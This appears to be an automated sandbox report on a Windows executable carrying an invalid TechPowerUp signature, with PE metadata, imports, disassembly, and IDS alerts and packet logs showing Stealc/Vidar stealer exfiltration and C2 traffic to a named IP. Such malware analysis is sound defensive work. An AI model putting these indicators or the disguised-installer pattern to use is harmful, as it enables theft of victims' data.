File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	34b818e8ece81848

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/06/2022 09:22:08 14/04/2025 16:06:58
Subject Chain	OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.1.3.6.1.4.1.311.60.2.1.2=Washington, OID.2.5.4.15=Private Organization, CN=TechPowerUp LLC, SERIALNUMBER=604 057 982, O=TechPowerUp LLC, L=Spokane, S=Washington, C=US
Version:	3
Thumbprint MD5:	648FDCF28A095B6DA4C31C9D5CD35A64
Thumbprint SHA-1:	8DAAE716F69B30A0DDC8C8A3F8EAC6C5B328CFD2
Thumbprint SHA-256:	20740B0C498F45830DD1D84EC746DEA5E43C2B0D32C603F2C2403A333CE9E8E7
Serial:	115BBE9E1C286827AF66E7A01390C206

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F66986877ABh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F669868748Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F669868747Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F6698684D7Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F6698687151h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F6698684E03h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F6698684D7Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x52ba	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xd06a5	0x24d0	.ndata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x52ba	0x5400	b1edbe4e3b88b6484c11dd4114f0c003	False	0.7529761904761905	data	6.741237811431139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x106000	0xfd6	0x1000	ddad614c9dbc96c582c7870421c4d911	False	0.59765625	data	5.593601234467291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1001c0	0x2519	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.001158260503317
RT_ICON	0x1026dc	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5324450772986168
RT_DIALOG	0x104d44	0x100	data	English	United States	0.5234375
RT_DIALOG	0x104e44	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x104f60	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x104fc0	0x22	data	English	United States	0.9705882352941176
RT_MANIFEST	0x104fe4	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T06:21:24.647125+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.4	49743	94.130.188.57	443	TCP
2024-12-23T06:21:29.220536+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.4	49745	94.130.188.57	443	TCP
2024-12-23T06:21:29.220597+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	94.130.188.57	443	192.168.2.4	49745	TCP
2024-12-23T06:21:31.758950+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	94.130.188.57	443	192.168.2.4	49746	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 06:21:01.717472076 CET	49675	443	192.168.2.4	173.222.162.32
Dec 23, 2024 06:21:17.282392979 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:17.282447100 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:17.282511950 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:17.303054094 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:17.303101063 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:18.682297945 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:18.682394981 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:18.730171919 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:18.730241060 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:18.730668068 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:18.730736017 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:18.734498024 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:18.779335022 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:19.217109919 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:19.217180014 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:19.217221975 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:19.217343092 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:19.217372894 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:19.217606068 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:19.219532967 CET	49741	443	192.168.2.4	149.154.167.99
Dec 23, 2024 06:21:19.219567060 CET	443	49741	149.154.167.99	192.168.2.4
Dec 23, 2024 06:21:19.635010004 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:19.635093927 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:19.635183096 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:19.635468006 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:19.635498047 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:21.468980074 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:21.469069004 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:21.472666979 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:21.472682953 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:21.473032951 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:21.473092079 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:21.473481894 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:21.519335985 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:22.147387981 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:22.147499084 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:22.147556067 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:22.147612095 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:22.147639990 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:22.147669077 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:22.150238991 CET	49742	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:22.150285006 CET	443	49742	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:22.152292013 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:22.152359009 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:22.152451038 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:22.152673960 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:22.152688980 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:23.553117037 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:23.553214073 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:23.725693941 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:23.725733995 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:23.780824900 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:23.780894041 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:24.647175074 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:24.647269011 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:24.647280931 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:24.647345066 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:24.647595882 CET	49743	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:24.647629976 CET	443	49743	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:24.649162054 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:24.649221897 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:24.649310112 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:24.649568081 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:24.649585009 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.050709009 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.050837040 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.051333904 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.051356077 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.052992105 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.053003073 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.930140972 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.930197001 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.930253029 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.930253983 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.930322886 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.930367947 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.930393934 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.930422068 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.930510998 CET	49744	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.930541992 CET	443	49744	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.931901932 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.931952953 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:26.932023048 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.932224035 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:26.932235956 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:28.332036972 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:28.332230091 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:28.332931995 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:28.332945108 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:28.338105917 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:28.338114023 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:29.220355034 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:29.220397949 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:29.220429897 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.220452070 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:29.220464945 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.220488071 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:29.220509052 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.220544100 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.262713909 CET	49745	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.262758017 CET	443	49745	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:29.464332104 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.464432955 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:29.464533091 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.474189043 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:29.474241972 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:30.871912956 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:30.871989965 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:30.872456074 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:30.872498035 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:30.874316931 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:30.874330044 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:31.758734941 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:31.758822918 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:31.758883953 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:31.759028912 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:31.759073973 CET	49746	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:31.759114981 CET	443	49746	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:31.779114008 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:31.779164076 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:31.779252052 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:31.779496908 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:31.779509068 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:32.767985106 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:32.768080950 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:32.768168926 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:32.768615961 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:32.768651962 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:33.178862095 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:33.178942919 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:33.179441929 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:33.179452896 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:33.181710958 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:33.181720972 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:33.181773901 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:33.181788921 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:34.170576096 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:34.170742989 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:34.171660900 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:34.171678066 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:34.173995972 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:34.174005985 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:34.183725119 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:34.183799982 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:34.184073925 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:34.184073925 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:34.184647083 CET	49747	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:34.184669971 CET	443	49747	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:35.149029970 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:35.149096966 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:35.149100065 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:35.149147987 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:35.149933100 CET	49748	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:21:35.149971962 CET	443	49748	94.130.188.57	192.168.2.4
Dec 23, 2024 06:21:35.927664042 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:35.927771091 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:35.927956104 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:35.928252935 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:35.928292990 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:36.482877016 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.482923985 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:36.483112097 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.483603954 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.483616114 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:36.746234894 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.746341944 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:36.746421099 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.746675968 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.746705055 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:36.849275112 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.849340916 CET	443	49757	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:36.849607944 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.849832058 CET	49757	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:36.849853992 CET	443	49757	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:37.623172045 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:37.623590946 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:37.623651981 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:37.625150919 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:37.625232935 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:37.626445055 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:37.626555920 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:37.626643896 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:37.669178009 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:37.669235945 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:37.716103077 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.174509048 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.175616980 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.175643921 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.177095890 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.177150011 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.177575111 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.177655935 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.177710056 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.223335028 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.232304096 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.232315063 CET	443	49755	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.279191017 CET	49755	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.439956903 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.440373898 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.440396070 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.443943977 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.444025993 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.444418907 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.444586992 CET	49756	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.444610119 CET	443	49756	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.479991913 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.480060101 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.480123997 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.480190039 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.485934973 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.486021042 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.486048937 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.488636017 CET	443	49754	142.250.181.132	192.168.2.4
Dec 23, 2024 06:21:38.488837004 CET	49754	443	192.168.2.4	142.250.181.132
Dec 23, 2024 06:21:38.488905907 CET	49754	443	192.168.2.4	142.250.181.132
